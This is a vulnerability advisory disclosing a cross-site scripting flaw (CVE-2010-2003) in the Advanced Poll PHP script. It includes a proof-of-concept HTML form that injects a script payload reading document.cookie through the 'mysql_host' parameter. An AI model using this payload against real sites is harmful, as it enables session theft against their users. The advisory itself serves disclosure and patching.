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Cross-site Scripting (XSS) Vulnerability in Advanced Poll

Advisory ID:HTB22358
Product:Advanced Poll
Vendor:Chi Kien Uong
Vulnerable Versions:2.08 and probably prior
Tested Version:2.08
Advisory Publication:April 23, 2010 [without technical details]
Vendor Notification:April 23, 2010
Public Disclosure:May 7, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE Reference:CVE-2010-2003
Risk Level:Medium
CVSSv2 Base Score:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered vulnerability in Advanced Poll which could be exploited to perform cross-site scripting (XSS) attacks.

1) Cross-site scripting vulnerability in Advanced Poll: CVE-2010-2003
An input sanitation error was found in the "mysql_host" parameter in /misc/get_admin.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:

<form method="POST" action="http://host/misc/get_admin.php" name="main">
<input type="hidden" name="mysql_host" value="<script>alert(document.cookie);</script>">
<input type="hidden" name="db_name" value="X">
<input type="hidden" name="mysql_user" value="X">
<input type="hidden" name="mysql_pass" value="X">
<input type="hidden" name="action" value="connect">

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[1] High-Tech Bridge Advisory HTB22358 - - Cross-site Scripting (XSS) Vulnerability in Advanced Poll
[2] Advanced Poll - - Advanced Poll is a PHP Script Polling System.
[3] Common Vulnerabilities and Exposures (CVE) - - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
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